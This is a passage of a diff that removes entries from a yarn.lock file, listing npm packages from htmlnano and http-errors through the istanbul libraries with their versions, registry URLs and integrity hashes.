-integrity sha512-aoGxanpFPLg7MkIl/DDFYtb0iWz7jMFGqFhvEDZga6/4QTjneiD8I/NXL1x5aaoCp7FSIT6h/OhykDdPsbtMig==
-dependencies:
-camel-case "^3.0.0"
-clean-css "^4.2.1"
-commander "^2.19.0"
-he "^1.2.0"
-param-case "^2.1.1"
-relateurl "^0.2.7"
-uglify-js "^3.5.1"
-
-html-tags@^1.0.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/html-tags/-/html-tags-1.2.0.tgz#c78de65b5663aa597989dd2b7ab49200d7e4db98"
-integrity sha1-x43mW1Zjqll5id0rerSSANfk25g=
-
-htmlnano@^0.2.2:
-version "0.2.5"
-resolved "https://registry.yarnpkg.com/htmlnano/-/htmlnano-0.2.5.tgz#134fd9548c7cbe51c8508ce434a3f9488cff1b0b"
-integrity sha512-X1iPSwXG/iF9bVs+/obt2n6F64uH0ETkA8zp7qFDmLW9/+A6ueHGeb/+qD67T21qUY22owZPMdawljN50ajkqA==
-dependencies:
-cssnano "^4.1.10"
-normalize-html-whitespace "^1.0.0"
-posthtml "^0.12.0"
-posthtml-render "^1.1.5"
-purgecss "^1.4.0"
-svgo "^1.3.2"
-terser "^4.3.9"
-uncss "^0.17.2"
-
-htmlparser2@^3.9.2:
-version "3.10.1"
-resolved "https://registry.yarnpkg.com/htmlparser2/-/htmlparser2-3.10.1.tgz#bd679dc3f59897b6a34bb10749c855bb53a9392f"
-integrity sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==
-dependencies:
-domelementtype "^1.3.1"
-domhandler "^2.3.0"
-domutils "^1.5.1"
-entities "^1.1.1"
-inherits "^2.0.1"
-readable-stream "^3.1.1"
-
-http-errors@1.7.2:
-version "1.7.2"
-resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
-integrity sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==
-dependencies:
-depd "~1.1.2"
-inherits "2.0.3"
-setprototypeof "1.1.1"
-statuses ">= 1.5.0 < 2"
-toidentifier "1.0.0"
-
-http-errors@~1.7.2:
-version "1.7.3"
-resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
-integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw==
-dependencies:
-depd "~1.1.2"
-inherits "2.0.4"
-setprototypeof "1.1.1"
-statuses ">= 1.5.0 < 2"
-toidentifier "1.0.0"
-
-http-signature@~1.2.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/http-signature/-/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
-integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
-dependencies:
-assert-plus "^1.0.0"
-jsprim "^1.2.2"
-sshpk "^1.7.0"
-
-https-browserify@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
-integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
-
-human-signals@^1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-1.1.1.tgz#c5b1cd14f50aeae09ab6c59fe63ba3395fe4dfa3"
-integrity sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==
-
-iconv-lite@0.4.24:
-version "0.4.24"
-resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
-integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
-dependencies:
-safer-buffer ">= 2.1.2 < 3"
-
-icss-replace-symbols@1.1.0, icss-replace-symbols@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz#06ea6f83679a7749e386cfe1fe812ae5db223ded"
-integrity sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=
-
-ieee754@^1.1.4:
-version "1.1.13"
-resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.1.13.tgz#ec168558e95aa181fd87d37f55c32bbcb6708b84"
-integrity sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==
-
-ignore@^3.3.5:
-version "3.3.10"
-resolved "https://registry.yarnpkg.com/ignore/-/ignore-3.3.10.tgz#0a97fb876986e8081c631160f8f9f389157f0043"
-integrity sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==
-
-import-fresh@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
-integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY=
-dependencies:
-caller-path "^2.0.0"
-resolve-from "^3.0.0"
-
-import-local@^3.0.2:
-version "3.0.2"
-resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.0.2.tgz#a8cfd0431d1de4a2199703d003e3e62364fa6db6"
-integrity sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA==
-dependencies:
-pkg-dir "^4.2.0"
-resolve-cwd "^3.0.0"
-
-imurmurhash@^0.1.4:
-version "0.1.4"
-resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
-integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
-
-indexes-of@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/indexes-of/-/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607"
-integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc=
-
-indexof@0.0.1:
-version "0.0.1"
-resolved "https://registry.yarnpkg.com/indexof/-/indexof-0.0.1.tgz#82dc336d232b9062179d05ab3293a66059fd435d"
-integrity sha1-gtwzbSMrkGIXnQWrMpOmYFn9Q10=
-
-inflight@^1.0.4:
-version "1.0.6"
-resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
-dependencies:
-once "^1.3.0"
-wrappy "1"
-
-inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3:
-version "2.0.4"
-resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
-
-inherits@2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1"
-integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=
-
-inherits@2.0.3:
-version "2.0.3"
-resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
-integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-invariant@^2.2.2, invariant@^2.2.4:
-version "2.2.4"
-resolved "https://registry.yarnpkg.com/invariant/-/invariant-2.2.4.tgz#610f3c92c9359ce1db616e538008d23ff35158e6"
-integrity sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==
-dependencies:
-loose-envify "^1.0.0"
-
-ip-regex@^2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/ip-regex/-/ip-regex-2.1.0.tgz#fa78bf5d2e6913c911ce9f819ee5146bb6d844e9"
-integrity sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=
-
-ipaddr.js@1.9.1:
-version "1.9.1"
-resolved "https://registry.yarnpkg.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz#bff38543eeb8984825079ff3a2a8e6cbd46781b3"
-integrity sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==
-
-is-absolute-url@^2.0.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-2.1.0.tgz#50530dfb84fcc9aa7dbe7852e83a37b93b9f2aa6"
-integrity sha1-UFMN+4T8yap9vnhS6Do3uTufKqY=
-
-is-absolute-url@^3.0.1:
-version "3.0.3"
-resolved "https://registry.yarnpkg.com/is-absolute-url/-/is-absolute-url-3.0.3.tgz#96c6a22b6a23929b11ea0afb1836c36ad4a5d698"
-integrity sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q==
-
-is-accessor-descriptor@^0.1.6:
-version "0.1.6"
-resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz#a9e12cb3ae8d876727eeef3843f8a0897b5c98d6"
-integrity sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=
-dependencies:
-kind-of "^3.0.2"
-
-is-accessor-descriptor@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz#169c2f6d3df1f992618072365c9b0ea1f6878656"
-integrity sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==
-dependencies:
-kind-of "^6.0.0"
-
-is-arrayish@^0.2.1:
-version "0.2.1"
-resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d"
-integrity sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=
-
-is-arrayish@^0.3.1:
-version "0.3.2"
-resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.3.2.tgz#4574a2ae56f7ab206896fb431eaeed066fdf8f03"
-integrity sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==
-
-is-binary-path@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898"
-integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=
-dependencies:
-binary-extensions "^1.0.0"
-
-is-binary-path@~2.1.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09"
-integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
-dependencies:
-binary-extensions "^2.0.0"
-
-is-buffer@^1.1.5:
-version "1.1.6"
-resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
-integrity sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==
-
-is-callable@^1.1.4, is-callable@^1.1.5:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.0.tgz#83336560b54a38e35e3a2df7afd0454d691468bb"
-integrity sha512-pyVD9AaGLxtg6srb2Ng6ynWJqkHU9bEM087AKck0w8QwDarTfNcpIYoU8x8Hv2Icm8u6kFJM18Dag8lyqGkviw==
-
-is-ci@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/is-ci/-/is-ci-2.0.0.tgz#6bc6334181810e04b5c22b3d589fdca55026404c"
-integrity sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==
-dependencies:
-ci-info "^2.0.0"
-
-is-color-stop@^1.0.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/is-color-stop/-/is-color-stop-1.1.0.tgz#cfff471aee4dd5c9e158598fbe12967b5cdad345"
-integrity sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=
-dependencies:
-css-color-names "^0.0.4"
-hex-color-regex "^1.1.0"
-hsl-regex "^1.0.0"
-hsla-regex "^1.0.0"
-rgb-regex "^1.0.1"
-rgba-regex "^1.0.0"
-
-is-data-descriptor@^0.1.4:
-version "0.1.4"
-resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
-dependencies:
-kind-of "^3.0.2"
-
-is-data-descriptor@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-integrity sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==
-dependencies:
-kind-of "^6.0.0"
-
-is-date-object@^1.0.1:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.2.tgz#bda736f2cd8fd06d32844e7743bfa7494c3bfd7e"
-integrity sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g==
-
-is-descriptor@^0.1.0:
-version "0.1.6"
-resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-integrity sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==
-dependencies:
-is-accessor-descriptor "^0.1.6"
-is-data-descriptor "^0.1.4"
-kind-of "^5.0.0"
-
-is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-integrity sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==
-dependencies:
-is-accessor-descriptor "^1.0.0"
-is-data-descriptor "^1.0.0"
-kind-of "^6.0.2"
-
-is-directory@^0.3.1:
-version "0.3.1"
-resolved "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
-integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=
-
-is-docker@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/is-docker/-/is-docker-2.0.0.tgz#2cb0df0e75e2d064fe1864c37cdeacb7b2dcf25b"
-integrity sha512-pJEdRugimx4fBMra5z2/5iRdZ63OhYV0vr0Dwm5+xtW4D1FvRkB8hamMIhnWfyJeDdyr/aa7BDyNbtG38VxgoQ==
-
-is-extendable@^0.1.0, is-extendable@^0.1.1:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
-
-is-extendable@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-1.0.1.tgz#a7470f9e426733d81bd81e1155264e3a3507cab4"
-integrity sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==
-dependencies:
-is-plain-object "^2.0.4"
-
-is-extglob@^2.1.0, is-extglob@^2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
-integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
-
-is-fullwidth-code-point@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
-
-is-fullwidth-code-point@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
-integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
-
-is-generator-fn@^2.0.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/is-generator-fn/-/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118"
-integrity sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==
-
-is-glob@^3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-3.1.0.tgz#7ba5ae24217804ac70707b96922567486cc3e84a"
-integrity sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=
-dependencies:
-is-extglob "^2.1.0"
-
-is-glob@^4.0.0, is-glob@^4.0.1, is-glob@~4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc"
-integrity sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==
-dependencies:
-is-extglob "^2.1.1"
-
-is-html@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/is-html/-/is-html-1.1.0.tgz#e04f1c18d39485111396f9a0273eab51af218464"
-integrity sha1-4E8cGNOUhRETlvmgJz6rUa8hhGQ=
-dependencies:
-html-tags "^1.0.0"
-
-is-number@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/is-number/-/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
-dependencies:
-kind-of "^3.0.2"
-
-is-number@^7.0.0:
-version "7.0.0"
-resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
-integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
-
-is-obj@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-2.0.0.tgz#473fb05d973705e3fd9620545018ca8e22ef4982"
-integrity sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==
-
-is-plain-object@^2.0.3, is-plain-object@^2.0.4:
-version "2.0.4"
-resolved "https://registry.yarnpkg.com/is-plain-object/-/is-plain-object-2.0.4.tgz#2c163b3fafb1b606d9d17928f05c2a1c38e07677"
-integrity sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==
-dependencies:
-isobject "^3.0.1"
-
-is-potential-custom-element-name@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.0.tgz#0c52e54bcca391bb2c494b21e8626d7336c6e397"
-integrity sha1-DFLlS8yjkbssSUsh6GJtczbG45c=
-
-is-regex@^1.0.5:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.1.0.tgz#ece38e389e490df0dc21caea2bd596f987f767ff"
-integrity sha512-iI97M8KTWID2la5uYXlkbSDQIg4F6o1sYboZKKTDpnDQMLtUL86zxhgDet3Q2SriaYsyGqZ6Mn2SjbRKeLHdqw==
-dependencies:
-has-symbols "^1.0.1"
-
-is-resolvable@^1.0.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/is-resolvable/-/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
-integrity sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==
-
-is-stream@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
-
-is-stream@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.0.tgz#bde9c32680d6fae04129d6ac9d921ce7815f78e3"
-integrity sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==
-
-is-svg@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/is-svg/-/is-svg-3.0.0.tgz#9321dbd29c212e5ca99c4fa9794c714bcafa2f75"
-integrity sha512-gi4iHK53LR2ujhLVVj+37Ykh9GLqYHX6JOVXbLAucaG/Cqw9xwdFOjDM2qeifLs1sF1npXXFvDu0r5HNgCMrzQ==
-dependencies:
-html-comment-regex "^1.1.0"
-
-is-symbol@^1.0.2:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.3.tgz#38e1014b9e6329be0de9d24a414fd7441ec61937"
-integrity sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==
-dependencies:
-has-symbols "^1.0.1"
-
-is-typedarray@^1.0.0, is-typedarray@~1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
-integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
-
-is-url@^1.2.2:
-version "1.2.4"
-resolved "https://registry.yarnpkg.com/is-url/-/is-url-1.2.4.tgz#04a4df46d28c4cff3d73d01ff06abeb318a1aa52"
-integrity sha512-ITvGim8FhRiYe4IQ5uHSkj7pVaPDrCTkNd3yq3cV7iZAcJdHTUMPMEHcqSOy9xZ9qFenQCvi+2wjH9a1nXqHww==
-
-is-windows@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
-integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
-
-is-wsl@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
-integrity sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=
-
-is-wsl@^2.1.1:
-version "2.2.0"
-resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-2.2.0.tgz#74a4c76e77ca9fd3f932f290c17ea326cd157271"
-integrity sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==
-dependencies:
-is-docker "^2.0.0"
-
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
-
-isarray@2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.1.tgz#a37d94ed9cda2d59865c9f76fe596ee1f338741e"
-integrity sha1-o32U7ZzaLVmGXJ92/llu4fM4dB4=
-
-isarray@^2.0.1:
-version "2.0.5"
-resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
-integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
-
-isexe@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
-
-isobject@^2.0.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
-dependencies:
-isarray "1.0.0"
-
-isobject@^3.0.0, isobject@^3.0.1:
-version "3.0.1"
-resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
-
-isotope-layout@^3.0.6:
-version "3.0.6"
-resolved "https://registry.yarnpkg.com/isotope-layout/-/isotope-layout-3.0.6.tgz#d5636ec74d68e7e88fa5166fe6396858db00f432"
-integrity sha512-z2ZKablhocXhoNyWwzJPFd7u7FWbYbVJA51Nvsqsod8jH2ExGc1SwDsSWKE54e3PhXzqf2yZPhFSq/c2MR1arw==
-dependencies:
-desandro-matches-selector "^2.0.0"
-fizzy-ui-utils "^2.0.4"
-get-size "^2.0.0"
-masonry-layout "^4.1.0"
-outlayer "^2.1.0"
-
-isstream@~0.1.2:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a"
-integrity sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=
-
-istanbul-lib-coverage@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz#f5944a37c70b550b02a78a5c3b2055b280cec8ec"
-integrity sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==
-
-istanbul-lib-instrument@^4.0.0:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz#873c6fff897450118222774696a3f28902d77c1d"
-integrity sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==
-dependencies:
-"@babel/core" "^7.7.5"
-"@istanbuljs/schema" "^0.1.2"
-istanbul-lib-coverage "^3.0.0"
-semver "^6.3.0"
-
-istanbul-lib-report@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#7518fe52ea44de372f460a76b5ecda9ffb73d8a6"
-integrity sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==
-dependencies:
-istanbul-lib-coverage "^3.0.0"
-make-dir "^3.0.0"
-supports-color "^7.1.0"
-
-istanbul-lib-source-maps@^4.0.0:
-version "4.0.0"
